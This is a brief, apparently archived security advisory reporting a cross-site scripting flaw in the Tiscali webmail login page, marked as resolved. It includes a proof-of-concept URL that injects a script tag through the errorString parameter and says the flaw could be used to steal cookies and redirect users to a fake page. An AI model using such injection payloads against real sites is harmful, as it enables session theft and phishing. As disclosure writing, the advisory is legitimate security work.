# # zogs # http://www.autistici.org/c0de # zogs@anche.no Tiscali advisory author.....: zogs homepage...: mail.tiscali.it bug........: css trick description: with this bug an evil user grab cookie and can redirect with fake-page risk.......: high http://mail.tiscali.it/cp/ps/main/login/Login?isLogin=y&d=tiscali.it&u=&J=&errorString=%3Cscript%3Ealert(%22bug%22)%3C/script%3E %%%%%% RESOLVED %%%%%%%